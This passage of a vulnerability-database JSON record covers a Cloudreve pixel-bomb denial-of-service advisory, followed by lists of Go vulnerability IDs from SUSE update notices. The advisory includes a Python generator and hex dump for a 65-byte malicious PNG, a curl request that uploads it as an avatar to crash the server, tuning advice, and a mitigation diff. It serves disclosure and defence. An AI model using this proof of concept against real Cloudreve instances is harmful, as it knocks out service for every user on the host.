decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.","status":"published","published":"2026-07-31T04:17:23.137Z","modified":"2026-09-08T20:51:43.49Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-409","CWE-770"],"updated_at":"2026-11-02T14:12:33.955581Z"}],"osv":[{"id":"CVE-2026-55497","title":"Cloudreve: Server crash through image decompression/pixel bomb in thumbnail \u0026 avatar decoding (DoS)","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, the built-in thumbnail and avatar image decoders limit compressed file size but do not limit decoded pixel dimensions, allowing an authenticated user to submit a small PNG, JPEG, or GIF that triggers an unbounded allocation and terminates the Cloudreve process through fatal out-of-memory behavior. This issue is fixed in version 4.17.0.","status":"published","published":"2026-07-31T03:28:59.171Z","modified":"2026-10-28T02:30:35.537065973Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400","CWE-409","CWE-770"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-g9j2-8w95-3vwv","title":"Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server","description":"## Summary\n\nCloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (`image/png`, `image/jpeg`, `image/gif`) and guards **only the compressed file size** — never the *decoded* pixel dimensions. Go's decoders allocate a pixel buffer sized `bytesPerPixel × width × height` taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on `width`/`height`. A tiny (tens-of-bytes) image that *declares* enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (`make([]uint8, …)`), exhausting memory. The resulting out-of-memory condition is a **fatal Go runtime error / kernel OOM-kill that `recover()` cannot catch**, terminating the whole Cloudreve process for all users.\n\nTwo reachable sinks share the same root cause:\n\n1. **Avatar upload** (`PUT /api/v4/user/setting/avatar`) — decodes synchronously in the request handler. Any authenticated user. **Cleanest single-request PoC.**\n2. **Thumbnail generation** (built-in generator, **enabled by default**) — decodes in the thumbnail queue worker. Reachable for the user's own files *and* for files inside a share, so a planted bomb can be (re)triggered through a public share link.\n\nPost-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.\n\n### Details\n### Root cause — decode guarded by file size, not pixel count\n\nThe built-in generator is the **default** image thumbnailer:\n\n```go\n// inventory/setting.go  @ 26b6b10\n\"thumb_builtin_enabled\":   \"1\",         // ON by default\n\"thumb_builtin_max_size\":  \"78643200\",  // 75 MB — a *file size* cap\n\"thumb_vips_enabled\":      \"0\",         // libvips (which has its own limits) OFF by default\n...\n\"avatar_size\":             \"4194304\",   // 4 MB — a *file size* cap\n```\n`Builtin.Generate` checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:\n\n```go\n// pkg/thumb/builtin.go:144-152  @ 26b6b10\nfunc (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {\n    if es.Entity().Size() \u003e b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY\n        return nil, fmt.Errorf(\"file is too big: %w\", ErrPassThrough)\n    }\n    img, err := NewThumbFromFile(es, ext)   // \u003c-- decode; allocation happens here\n    ...\n}\n\n// pkg/thumb/builtin.go:34-60  @ 26b6b10\nfunc NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n    switch ext {\n    case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n    case \"gif\":         img, err = gif.Decode(file)\n    case \"png\":         img, err = png.Decode(file)   // \u003c-- unbounded allocation\n    ...\n    }\n}\n```\n\nThere is **no `image.DecodeConfig` pre-check** and **no dimension/pixel cap** anywhere on the path. The only `Bounds()`/`MaxWidth` references in the package (`builtin.go:70,92,125`, `avatar_size_l=200`) act on the *already-decoded* image and are the *output* resize target — they execute long after the oversized input buffer has been allocated.\n\n### Why the allocation is unbounded (Go stdlib `image/png`)\n\nGo's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values — there is no maximum:\n\n```go\n// Go src/image/png/reader.go — parseIHDR\nw := int32(binary.BigEndian.Uint32(d.tmp[0:4]))\nh := int32(binary.BigEndian.Uint32(d.tmp[4:8]))\nif w \u003c= 0 || h \u003c= 0 { return FormatError(\"non-positive dimension\") }   // only guard\nd.width, d.height = int(w), int(h)\n```\n\nOn the first IDAT, `readImagePass` allocates the destination image **before** consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):\n\n```go\n// Go src/image/png/reader.go — readImagePass\nnrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)\n```\n\n`image.NewNRGBA` → `pixelBufferLength` → `mul3NonNeg(4, w, h)` only guards against *integer overflow* (returns −1, which panics), not against huge-but-valid sizes. So any `4·w·h` that fits in an `int` and is below the runtime's `maxAlloc` (~2⁴⁸ on amd64) proceeds to `make([]uint8, 4·w·h)`. The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.\n\n`jpeg.Decode` (allocates the `YCbCr`/`RGBA` buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and `gif.Decode` (allocates from the logical-screen / frame dimensions) are affected the same way.\n\n### Why this is a fatal crash, not a handled error\n\nFor realistic bomb sizes (GBs–hundreds of GBs, all `\u003c maxAlloc`), `make` proceeds and the process dies by one of:\n- **Kernel OOM-killer** sends SIGKILL when the touched pages can't be backed — not catchable by anything; or\n- the Go runtime **`throw(\"out of memory\")`** — a *fatal* error, **not** a recoverable `panic`, so `gin.Recovery()` does not save it.\n\n(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)\n\n### Reachability of each sink\n\n**Avatar (synchronous, in the HTTP handler):**\n\n```go\n// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) → user group)\nsetting.PUT(\"avatar\", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)\n\n// service/user/setting.go:158-217  @ 26b6b10\nfunc UpdateUserAvatar(c *gin.Context) error {\n    ...\n    if c.Request.ContentLength == -1 || c.Request.ContentLength \u003e avatarSettings.MaxFileSize { // 4 MB cap\n        return ...CodeFileTooLarge\n    }\n    return updateAvatarFile(c, u, c.GetHeader(\"Content-Type\"), c.Request.Body, avatarSettings)\n}\nfunc updateAvatarFile(...) error {\n    ext := \"png\"\n    switch contentType { case \"image/jpeg\",\"image/jpg\": ext=\"jpg\"; case \"image/gif\": ext=\"gif\" }\n    avatar, err := thumb.NewThumbFromFile(file, ext)   // \u003c-- decode of attacker bytes; no dim check\n    ...\n}\n```\n\nA 65-byte PoC trivially satisfies the 4 MB `ContentLength` cap.\n\n**Thumbnail (queue worker, in-process):** `manager.Thumbnail` → `SubmitAndAwaitThumbnailTask` → `generateThumb` → `pipeline.Generate` (`pkg/filemanager/manager/thumbnail.go:128-145`, `pkg/thumb/pipeline.go:86`). The pipeline tries the **enabled-by-default** built-in generator for `png/jpg/gif` (other generators return `ErrPassThrough` for those extensions). Triggered via `GET /api/v4/file/thumb?uri=…` for the user's own files, and the same generation runs for files reached through a share (`NavigatorCapabilityGenerateThumb`), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.\n\n## Proof of Concept\n\n### The bomb (65 bytes — included as `pixelbomb.png`)\n\nGenerated with:\n\n```python\nimport struct, zlib, binascii\ndef chunk(t,d):\n    c=t+d; return struct.pack(\"\u003eI\",len(d))+c+struct.pack(\"\u003eI\",binascii.crc32(c)\u00260xffffffff)\nsig=b'\\x89PNG\\r\\n\\x1a\\n'\nW,H=0x7FFFFFFF,0x10                       # 2147483647 x 16\nihdr=struct.pack(\"\u003eIIBBBBB\",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)\npng=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')\nopen('pixelbomb.png','wb').write(png)\n# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)\n```\n\nHex (entire file):\n\n```\n8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR\n7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..\ne300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......\n0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`\n82\n```\n(Dimensions are tunable: `4·W·H` must stay `\u003c 2⁶³` to avoid the overflow→panic branch and `\u003c maxAlloc`. `2147483647 × 16` → 128 GiB reliably OOM-kills any host; shrink `H` for smaller targets.)\n\n### Trigger (avatar — single request)\n\n```bash\nbase=https://host/api/v4\ncurl -s -X PUT \"$base/user/setting/avatar\" \\\n     -H \"Authorization: Bearer $TOK\" \\\n     -H 'Content-Type: image/png' \\\n     --data-binary @pixelbomb.png\n```\n\n### Observable result\n\n```\n# Either the kernel OOM-killer terminates the process:\n#   dmesg: \"Out of memory: Killed process \u003cpid\u003e (cloudreve)\"\n# or the Go runtime aborts fatally:\n#   fatal error: runtime: out of memory\n# The Cloudreve process exits; all users get connection-refused until restart.\n```\n## Impact\n\n- **Direct primitive**: full availability loss — the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.\n- **Persistence / repeatability**: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.\n- **Amplification**: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.\n- **No special privilege**: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.\n\n## Suggested Mitigation\n\nCap **decoded pixel dimensions** before fully decoding, in addition to the existing file-size cap. Use `image.DecodeConfig` (reads only the header) and reject images whose `width × height` (or either dimension) exceeds a configurable limit; apply it in `NewThumbFromFile` so both the thumbnail and avatar paths are covered.\n\n```diff\n--- a/pkg/thumb/builtin.go\n+++ b/pkg/thumb/builtin.go\n@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {\n-    var err error\n-    var img image.Image\n-    switch ext {\n+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable\n+    // Peek header-only to reject pixel/decompression bombs before allocation.\n+    var hdrBuf bytes.Buffer\n+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, \u0026hdrBuf))\n+    if err != nil {\n+        return nil, fmt.Errorf(\"failed to read image config: %w (%w)\", err, ErrPassThrough)\n+    }\n+    if int64(cfg.Width)*int64(cfg.Height) \u003e maxPixels {\n+        return nil, fmt.Errorf(\"image dimensions too large (%dx%d): %w\", cfg.Width, cfg.Height, ErrPassThrough)\n+    }\n+    file = io.MultiReader(\u0026hdrBuf, file) // replay consumed header bytes\n+    var img image.Image\n+    switch ext {\n         case \"jpg\", \"jpeg\": img, err = jpeg.Decode(file)\n         case \"gif\":         img, err = gif.Decode(file)\n         case \"png\":         img, err = png.Decode(file)\n```\n\nAdditionally:\n- Apply the same pixel cap to the avatar path (covered automatically if it routes through `NewThumbFromFile`, as it does).\n- Consider running image decoding in a memory-limited child process / with `debug.SetMemoryLimit` + a `GOMEMLIMIT`-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.\n\nWhy sufficient: `DecodeConfig` parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.","status":"published","published":"2026-07-24T20:48:10Z","modified":"2026-08-18T15:10:48.44331517Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400","CWE-409","CWE-770"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"GO-2026-6100","title":"Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server in github.com/cloudreve/Cloudreve","description":"Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail \u0026 avatar decoding crashes the server in github.com/cloudreve/Cloudreve","status":"published","published":"2026-08-18T14:32:29Z","modified":"2026-08-18T15:00:14.53502798Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  